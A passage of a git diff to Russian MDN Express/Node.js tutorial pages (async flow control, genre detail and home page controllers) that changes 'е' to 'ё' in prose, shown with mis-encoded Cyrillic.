<h2 class="highlight-spanned" id="ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_асинхронныС_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ"><span class="highlight-span">ΠŸΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ асинхронныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ</span></h2>
-<p>Для выполнСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code>Β , ΠΏΡ€ΠΈ этом <span class="highlight-span">ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ зависят ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span>. ΠœΠ΅Ρ‚ΠΎΠ΄ опрСдСляСтся ΠΈ Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈΒ <code>async.parallel()</code>.</p>
+<p>Для выполнСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code>Β , ΠΏΡ€ΠΈ этом <span class="highlight-span">ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ зависят ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span>. ΠœΠ΅Ρ‚ΠΎΠ΄ опрСдСляСтся ΠΈ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈΒ <code>async.parallel()</code>.</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">{</span>
one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span>
@@ -82,7 +82,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> БпСцификация языка ECMAScript (JavaScript) устанавливаСт, Ρ‡Ρ‚ΠΎ порядок  Π² пСрСчислСнии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, поэтому Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΠΈΡ… Π·Π°Π΄Π°Π»ΠΈ Π½Π° всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Если порядок Π²Ρ‹Π·ΠΎΠ²Π° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ΅Π½, вмСсто ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ массив, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> БпСцификация языка ECMAScript (JavaScript) устанавливаСт, Ρ‡Ρ‚ΠΎ порядок  Π² пСрСчислСнии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, поэтому Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΠΈΡ… Π·Π°Π΄Π°Π»ΠΈ Π½Π° всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Если порядок Π²Ρ‹Π·ΠΎΠ²Π° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ΅Π½, вмСсто ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ массив, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
</div>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">[</span>
@@ -105,7 +105,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<p>Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° каТдая опСрация зависит ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, осущСствляСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code>.</p>
-<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ-callback, которая Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΌΠΈΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡΠΌΠΈΒ , содСрТит <code>null</code>Β ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…. КаТдая функция Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (ΠΊΡ€ΠΎΠΌΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠΉ) ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… функция, Π° колбэк-функция являСтся послСдним Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ. Когда  ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ΡΡ, вызываСтся Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Π°Ρ колбэк-функция, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ err ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ послСднСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Как это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, станСт Π±ΠΎΠ»Π΅Π΅ ясным послС рассмотрСния ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° - Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ ( ΠΏΡ€ΠΈΠΌΠ΅Ρ€ взят ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ <em>async</em>):</p>
+<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ-callback, которая Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΌΠΈΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡΠΌΠΈΒ , содСрТит <code>null</code>Β ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…. КаТдая функция Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (ΠΊΡ€ΠΎΠΌΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠΉ) ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… функция, Π° колбэк-функция являСтся послСдним Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ. Когда  ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ΡΡ, вызываСтся Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Π°Ρ колбэк-функция, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ err ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ послСднСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Как это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, станСт Π±ΠΎΠ»Π΅Π΅ ясным послС рассмотрСния ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° - Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ ( ΠΏΡ€ΠΈΠΌΠ΅Ρ€ взят ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ <em>async</em>):</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">waterfall</span><span class="punctuation token">(</span><span class="punctuation token">[</span>
<span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{//пСрвая функция Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅</span>
@@ -126,7 +126,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
<h2 class="highlight-spanned" id="Установка_async"><span class="highlight-span">Установка async</span></h2>
-<p>Установим ΠΌΠΎΠ΄ΡƒΠ»ΡŒ async ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² NPM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своСм ΠΊΠΎΠ΄Π΅. Π­Ρ‚ΠΎ дСлаСтся ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом - ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌ ΠΎΠΊΠ½ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Β <em>LocalLibrary</em>Β ΠΈ Π²Π²Π΅Π΄Π΅ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
+<p>Установим ΠΌΠΎΠ΄ΡƒΠ»ΡŒ async ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² NPM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² своём ΠΊΠΎΠ΄Π΅. Π­Ρ‚ΠΎ дСлаСтся ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом - ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌ ΠΎΠΊΠ½ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Β <em>LocalLibrary</em>Β ΠΈ Π²Π²Π΅Π΄Ρ‘ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:</p>
<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install async</code></pre>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
index b3e40ff7a9..c62d6f9364 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
@@ -43,7 +43,7 @@ exports.genre_detail = function(req, res, next) {
};
</pre>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>async.parallel()</code> для ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса названия ΠΆΠ°Π½Ρ€Π° ΠΈ связанных с Π½ΠΈΠΌ ΠΊΠ½ΠΈΠ³, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ колбэк-функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ страницу, ΠΊΠΎΠ³Π΄Π° (Ссли) ΠΎΠ±Π° запроса Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈΡΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>async.parallel()</code> для ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса названия ΠΆΠ°Π½Ρ€Π° ΠΈ связанных с Π½ΠΈΠΌ ΠΊΠ½ΠΈΠ³, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ колбэк-функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ страницу, ΠΊΠΎΠ³Π΄Π° (Ссли) ΠΎΠ±Π° запроса Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈΡΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.</p>
<p>The ID of the required genre record is encoded at the end of the URL and extracted automatically based on the route definition (<strong>/genre/:id</strong>). The ID is accessed within the controller via the request parameters: <code style="font-style: normal; font-weight: normal;">req.params.id</code>. It is used in <code style="font-style: normal; font-weight: normal;">Genre.findById()</code> to get the current genre. It is also used to get all <code>Book</code> objects that have the genre ID in their <code>genre</code> field: <code>Book.find({ 'genre': req.params.id })</code>.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
index 2458131cd1..05b2dc3976 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
@@ -14,20 +14,20 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page
<pre class="brush: js ">// GET catalog home page.
router.get('/', book_controller.index); //This actually maps to /catalog/ because we import the route with a /catalog prefix</pre>
-<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π²Β <strong>/controllers/bookController.js</strong>:</p>
+<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π²Β <strong>/controllers/bookController.js</strong>:</p>
<pre class="brush: js">exports.index = function(req, res, next) {
res.send('NOT IMPLEMENTED: Site Home Page');
}</pre>
-<p>ИмСнно эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΒ Π΅Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (прСдставлСния).</p>
+<p>ИмСнно эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΒ Π΅Ρ‘, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (прСдставлСния).</p>
<h2 id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€</h2>
-<p>Ѐункция ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° индСкса Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, сколько ΠΊΠ½ΠΈΠ³ (<code>Book)</code>, экзСмпляров ΠΊΠ½ΠΈΠ³ (<code>BookInstance)</code>, сколько ΠΈΠ· Π½ΠΈΡ… доступно, сколько Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² (<code>Author)</code>, ΠΆΠ°Π½Ρ€ΠΎΠ²Β (<code>Genre)</code> имССтся Π² Π‘Π”, Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² шаблон, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ  HTML-страницу, послС Ρ‡Π΅Π³ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π΅ Π²Β  HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π΅.</p>
+<p>Ѐункция ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° индСкса Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, сколько ΠΊΠ½ΠΈΠ³ (<code>Book)</code>, экзСмпляров ΠΊΠ½ΠΈΠ³ (<code>BookInstance)</code>, сколько ΠΈΠ· Π½ΠΈΡ… доступно, сколько Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² (<code>Author)</code>, ΠΆΠ°Π½Ρ€ΠΎΠ²Β (<code>Genre)</code> имССтся Π² Π‘Π”, Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² шаблон, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ  HTML-страницу, послС Ρ‡Π΅Π³ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Ρ‘ Π²Β  HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π΅.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ экзСмпляров Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ вычисляСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code>Β . Он вызываСтся для ΠΌΠΎΠ΄Π΅Π»ΠΈ с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ условий, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ соотвСтствия ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ ΠΈ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° (ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅ Π² "ИспользованиС Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… с Mongoose"Β <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>), ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ запрос <code>Query,</code>Β Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ callback. Эта  колбэк-функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° Π‘Π” Π²Π΅Ρ€Π½Π΅Ρ‚ количСство записСй.Β Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ошибки (or <code>null</code>) Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ, Π° количСство записСй (ΠΈΠ»ΠΈ null, Ссли Π±Ρ‹Π»Π° ошибка) -Β Β Π²Ρ‚ΠΎΡ€Ρ‹ΠΌΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ экзСмпляров Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ вычисляСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code>Β . Он вызываСтся для ΠΌΠΎΠ΄Π΅Π»ΠΈ с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ условий, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ соотвСтствия ΠΏΠ΅Ρ€Π²ΠΎΠΌΡƒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ ΠΈ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ 